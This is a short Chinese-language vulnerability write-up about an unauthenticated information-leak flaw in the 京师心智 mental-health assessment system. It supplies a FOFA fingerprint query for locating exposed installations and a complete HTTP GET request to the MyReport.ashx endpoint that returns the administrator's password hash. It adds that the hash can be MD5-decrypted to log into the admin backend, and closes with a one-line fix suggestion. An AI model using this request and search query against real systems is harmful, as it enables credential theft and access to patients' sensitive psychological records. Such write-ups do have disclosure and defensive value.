J2-1京师心智-心理健康测评系统-InformationLeakage

漏洞描述：

京师心智心理健康测评系统 MyReport.ashx接口存在信息泄露漏洞，未经身份验证的攻击者可以利用此漏洞获取系统后台管理员账户密码凭证，并且解密后可登录后台页面，使系统处于极不安全的状态。

网站图片：

网络测绘：

fofa语法：

FOFA：body="JS/ligerComboBox/ligerTree.js"

漏洞复现：

payload：

```
GET /FunctionModular/PersonalReport/Ajax/MyReport.ashx?type=3&loginName=admin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
```

效果图:

md5解密后可登录后台

修复建议：

立即修复京师心智心理健康测评系统的`MyReport.ashx`接口，实施强身份验证和数据加密，防止敏感信息泄露。